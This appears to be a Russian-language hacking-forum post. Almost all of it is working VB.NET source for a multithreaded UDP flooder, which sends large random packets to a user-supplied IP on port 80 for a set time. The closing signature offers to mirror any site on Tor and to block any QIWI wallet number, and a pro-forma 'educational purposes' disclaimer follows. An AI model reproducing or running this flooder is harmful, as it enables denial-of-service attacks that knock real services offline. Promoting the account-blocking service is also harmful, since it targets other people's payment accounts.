[vb.net] Udp-Flooder

Код:
Imports System.Threading
Imports System.IO
Imports System.Text
Imports System.Net, System.Net.Sockets
Module Main
Sub Main(ByVal args As String())
Dim Misc As New Misc
Dim packet As Byte() = Encoding.UTF8.GetBytes(Misc.getRandomString(10000))
Dim input As String
Dim _params As String()
While True
input = Console.ReadLine
If input.Contains(" ") Then
_params = input.Split(" ")
Try
If Integer.Parse(_params(1)) > 0 Then
Dim UdpFlooder As New Flooder(_params(0), 80, Integer.Parse(_params(1)), 30, packet)
Else
Console.WriteLine("Current time: {0}, Format: 1/{1}",
Integer.Parse(_params(1)), Integer.MaxValue)
End If
Catch ex As Exception
Console.WriteLine("Syntax error")
End Try
End If
End While
End Sub
Public Class Misc
Public Function getRandomString(ByVal length As Integer) As String
Dim output As New StringBuilder
Dim chars As String = "abcdefghijklmnopqrstuvwxyz"
Dim rand As New Random
For i As Integer = 1 To length
output.Append(chars(rand.Next(0, chars.Length)))
Next
Return output.ToString
End Function
End Class
Public Class Flooder
Private _UdpClient As UdpClient
Private _IPEndPoint As IPEndPoint
Private _packet As Byte()
Private clock As Status
Private Shared curr_packetCount As Integer
Public Sub New(ByVal addr$, ByVal port As Integer,
ByVal time As Integer, ByVal threads As Integer, ByVal packet As Byte())
Me._UdpClient = New UdpClient
Me._IPEndPoint = New IPEndPoint(IPAddress.Parse(addr), port)
Me._packet = packet
clock = New Status(time)
Dim _thrd As Thread
For i As Integer = 1 To threads
_thrd = New Thread(AddressOf start)
_thrd.Start()
Console.WriteLine("Thread {0} started!", i)
Next
End Sub
Private Sub start()
While Me.clock.getStatus
Try
Me._UdpClient.Send(Me._packet, Me._packet.Length, Me._IPEndPoint)
curr_packetCount += 1
Console.WriteLine("{0} KB sent to {1}:{2}", Me._packet.Length / 1000, Me._IPEndPoint.Address,
Me._IPEndPoint.Port)
Catch : End Try
End While
End Sub
Public Shared Function getCurrPacketCount() As Integer
Return Flooder.curr_packetCount
End Function
End Class
Public Class Status
Private result As Boolean
Private max_time As Integer
Public Sub New(ByVal time As Integer)
Me.result = True
Me.max_time = time
Dim clock As New Thread(AddressOf start)
clock.Start()
End Sub
Private Sub start()
For i As Integer = 1 To Me.max_time
Console.Title = String.Format("Time: {0}/{1}, Packets: {2}", i, Me.max_time,
Flooder.getCurrPacketCount)
Thread.Sleep(1000)
Next
Console.Title = "Stopped!"
Me.result = False
End Sub
Public Function getStatus() As Boolean
Return Me.result
End Function
End Class
End Module
​

Предлагаю услуги по:
1. Сделаю зеркало любого сайта в сети ТОR
2. Блокировка ЛЮБОГО QIWI Номера (Быстро)


Мануалы и софт выложены в ознакомительных целях вся ответственность за использования ложится на вас.
Софт советую использовать на виртуалке.